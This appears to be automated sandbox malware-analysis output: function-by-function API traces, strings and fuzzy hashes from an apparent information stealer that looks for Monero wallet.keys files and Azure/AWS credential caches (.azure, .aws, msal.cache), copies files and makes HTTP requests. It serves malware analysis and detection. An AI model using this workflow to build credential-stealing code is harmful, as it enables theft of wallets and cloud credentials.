Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 396e8e92ce9881959b42d3c2cb56bcbe0fc5145c1d3bdf83e123e85ebe3f56ab
Instruction ID: d74ade645781f16fef0fb1780e1dec604888ac175bd5276946b80e36fccae50a
Opcode Fuzzy Hash: 396e8e92ce9881959b42d3c2cb56bcbe0fc5145c1d3bdf83e123e85ebe3f56ab
Instruction Fuzzy Hash: A4123172920119ABEB15FBA0DC99FEE7738BF54700F40419AF50672091EF742A4ACF65

Function 0057CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 00588B60: GetSystemTime.KERNEL32(00590E1A,0130AAF0,005905AE,?,?,005713F9,?,0000001A,00590E1A,00000000,?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 00588B86

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0057CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0057D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0057D0CE
lstrcat.KERNEL32(?,00000000), ref: 0057D208
lstrcat.KERNEL32(?,00591478), ref: 0057D217
lstrcat.KERNEL32(?,00000000), ref: 0057D22A
lstrcat.KERNEL32(?,0059147C), ref: 0057D239
lstrcat.KERNEL32(?,00000000), ref: 0057D24C
lstrcat.KERNEL32(?,00591480), ref: 0057D25B
lstrcat.KERNEL32(?,00000000), ref: 0057D26E
lstrcat.KERNEL32(?,00591484), ref: 0057D27D
lstrcat.KERNEL32(?,00000000), ref: 0057D290
lstrcat.KERNEL32(?,00591488), ref: 0057D29F
lstrcat.KERNEL32(?,00000000), ref: 0057D2B2
lstrcat.KERNEL32(?,0059148C), ref: 0057D2C1
lstrcat.KERNEL32(?,00000000), ref: 0057D2D4
lstrcat.KERNEL32(?,00591490), ref: 0057D2E3

Part of subcall function 0058A820: lstrlen.KERNEL32(00574F05,?,?,00574F05,00590DDE), ref: 0058A82B
Part of subcall function 0058A820: lstrcpy.KERNEL32(00590DDE,00000000), ref: 0058A885

lstrlen.KERNEL32(?), ref: 0057D32A
lstrlen.KERNEL32(?), ref: 0057D339

Part of subcall function 0058AA70: StrCmpCA.SHLWAPI(013092E0,0057A7A7,?,0057A7A7,013092E0), ref: 0058AA8F

DeleteFileA.KERNEL32(00000000), ref: 0057D3B4

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: b47141b24145fbd2669a27fcc495be09f03f55724c48205671d0ca49f539d54d
Instruction ID: 6708af89fa31647f27f5914f2fe4de99c770599c27b8c762050d6dae3b93a08a
Opcode Fuzzy Hash: b47141b24145fbd2669a27fcc495be09f03f55724c48205671d0ca49f539d54d
Instruction Fuzzy Hash: 24E12F7191010AABDB04FBA0DD9AEEE7B78BF94301F104159F506B6091DE39AA05CF76

Function 00588320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

RegOpenKeyExA.KERNEL32(00000000,0130B558,00000000,00020019,00000000,005905B6), ref: 005883A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00588426
wsprintfA.USER32 ref: 00588459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0058847B
RegCloseKey.ADVAPI32(00000000), ref: 0058848C
RegCloseKey.ADVAPI32(00000000), ref: 00588499

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Strings

%s\%s, xrefs: 0058844D
- , xrefs: 005885A3
?, xrefs: 0058837A

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: a2c7691844e4d17280bab5d8dc8e6b6eb6594d8087c330ea3d1b6bf72f3a431a
Instruction ID: 388ea251d8eb79b9902a67085f18477f8a9f0ad312522986e0bb86a29b89e934
Opcode Fuzzy Hash: a2c7691844e4d17280bab5d8dc8e6b6eb6594d8087c330ea3d1b6bf72f3a431a
Instruction Fuzzy Hash: CA814D71910118ABEB24EB50CC95FEABBB8FF48700F4086D9E509B6180DF746B85CFA5

Function 00576280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Part of subcall function 005747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00574839
Part of subcall function 005747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00574849

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

InternetOpenA.WININET(00590DFE,00000001,00000000,00000000,00000000), ref: 005762E1
StrCmpCA.SHLWAPI(?,0130ED90), ref: 00576303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00576335
HttpOpenRequestA.WININET(00000000,GET,?,0130E870,00000000,00000000,00400100,00000000), ref: 00576385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005763BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005763D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 005763FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0057646D
InternetCloseHandle.WININET(00000000), ref: 005764EF
InternetCloseHandle.WININET(00000000), ref: 005764F9
InternetCloseHandle.WININET(00000000), ref: 00576503

Strings

ERROR, xrefs: 00576407
ERROR, xrefs: 005764C9
GET, xrefs: 0057637C

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: e1223afa13f7192f54fc7ca6d0bdfa053506e10d613e17075d034a603beb19b7
Instruction ID: 68158f05da9381a101afd4e539964021b56fb270135a7fa975767aac1c366a27
Opcode Fuzzy Hash: e1223afa13f7192f54fc7ca6d0bdfa053506e10d613e17075d034a603beb19b7
Instruction Fuzzy Hash: 63714F71A00218ABEF24EFA0DC49FEE7B75FB44700F108599F509AB190DBB86A85DF51

Function 00585510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A820: lstrlen.KERNEL32(00574F05,?,?,00574F05,00590DDE), ref: 0058A82B
Part of subcall function 0058A820: lstrcpy.KERNEL32(00590DDE,00000000), ref: 0058A885

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00585644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005856A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00585857

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Part of subcall function 005851F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00585228

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 005852C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00585318
Part of subcall function 005852C0: lstrlen.KERNEL32(00000000), ref: 0058532F
Part of subcall function 005852C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00585364
Part of subcall function 005852C0: lstrlen.KERNEL32(00000000), ref: 00585383
Part of subcall function 005852C0: lstrlen.KERNEL32(00000000), ref: 005853AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0058578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00585940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00585A0C
Sleep.KERNEL32(0000EA60), ref: 00585A1B

Strings

ERROR, xrefs: 00585932
ERROR, xrefs: 00585849
ERROR, xrefs: 00585693
ERROR, xrefs: 0058577D
ERROR, xrefs: 005859FE
ERROR, xrefs: 00585636

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 4739cdb326c5215497abafb134d5bfa9e194600e9e95a90de77f3974256afd56
Instruction ID: 9d3da4073e44db1baec4da3109e0b1891b8fd6f801f8828f92da8becc32ca042
Opcode Fuzzy Hash: 4739cdb326c5215497abafb134d5bfa9e194600e9e95a90de77f3974256afd56
Instruction Fuzzy Hash: 3FE12371910105AADB18FBB0DC9AEED7B78BF94300F508519B80676095FF386B09CFA6

Function 00584D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00588DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00588E0B

lstrcat.KERNEL32(?,00000000), ref: 00584DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00584DCD

Part of subcall function 00584910: wsprintfA.USER32 ref: 0058492C
Part of subcall function 00584910: FindFirstFileA.KERNEL32(?,?), ref: 00584943

lstrcat.KERNEL32(?,00000000), ref: 00584E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00584E59

Part of subcall function 00584910: StrCmpCA.SHLWAPI(?,00590FDC), ref: 00584971
Part of subcall function 00584910: StrCmpCA.SHLWAPI(?,00590FE0), ref: 00584987
Part of subcall function 00584910: FindNextFileA.KERNEL32(000000FF,?), ref: 00584B7D
Part of subcall function 00584910: FindClose.KERNEL32(000000FF), ref: 00584B92

lstrcat.KERNEL32(?,00000000), ref: 00584EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00584EE5

Part of subcall function 00584910: wsprintfA.USER32 ref: 005849B0
Part of subcall function 00584910: StrCmpCA.SHLWAPI(?,005908D2), ref: 005849C5
Part of subcall function 00584910: wsprintfA.USER32 ref: 005849E2
Part of subcall function 00584910: PathMatchSpecA.SHLWAPI(?,?), ref: 00584A1E
Part of subcall function 00584910: lstrcat.KERNEL32(?,0130ED10), ref: 00584A4A
Part of subcall function 00584910: lstrcat.KERNEL32(?,00590FF8), ref: 00584A5C
Part of subcall function 00584910: lstrcat.KERNEL32(?,?), ref: 00584A70
Part of subcall function 00584910: lstrcat.KERNEL32(?,00590FFC), ref: 00584A82
Part of subcall function 00584910: lstrcat.KERNEL32(?,?), ref: 00584A96
Part of subcall function 00584910: CopyFileA.KERNEL32(?,?,00000001), ref: 00584AAC
Part of subcall function 00584910: DeleteFileA.KERNEL32(?), ref: 00584B31

Strings

Azure\.IdentityService, xrefs: 00584EEB
*.*, xrefs: 00584E64
*.*, xrefs: 00584DD8
Azure\.azure, xrefs: 00584DD3
\.IdentityService\, xrefs: 00584ED9
\.aws\, xrefs: 00584E4D
Azure\.aws, xrefs: 00584E5F
msal.cache, xrefs: 00584EF0
\.azure\, xrefs: 00584DC1

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: fd54d7ecf82f0718e55a078fc0aa13dd5af28e9c2e5dfc639e65c8a27454d871
Instruction ID: 675e663994d2fca20b10f94cf9f2781a01df66bc95cae7bc9c6c0d22be895d00
Opcode Fuzzy Hash: fd54d7ecf82f0718e55a078fc0aa13dd5af28e9c2e5dfc639e65c8a27454d871
Instruction Fuzzy Hash: 1B41B57A94021967DB14F770EC4BFED3B38BB64700F004594B589660C1FEB95BC98B92

Function 00571310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005712A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005712B4
Part of subcall function 005712A0: RtlAllocateHeap.NTDLL(00000000), ref: 005712BB
Part of subcall function 005712A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 005712D7
Part of subcall function 005712A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005712F5
Part of subcall function 005712A0: RegCloseKey.ADVAPI32(?), ref: 005712FF

lstrcat.KERNEL32(?,00000000), ref: 0057134F
lstrlen.KERNEL32(?), ref: 0057135C
lstrcat.KERNEL32(?,.keys), ref: 00571377

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 00588B60: GetSystemTime.KERNEL32(00590E1A,0130AAF0,005905AE,?,?,005713F9,?,0000001A,00590E1A,00000000,?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 00588B86

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00571465

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Part of subcall function 005799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005799EC
Part of subcall function 005799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00579A11
Part of subcall function 005799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00579A31
Part of subcall function 005799C0: ReadFile.KERNEL32(000000FF,?,00000000,0057148F,00000000), ref: 00579A5A
Part of subcall function 005799C0: LocalFree.KERNEL32(0057148F), ref: 00579A90
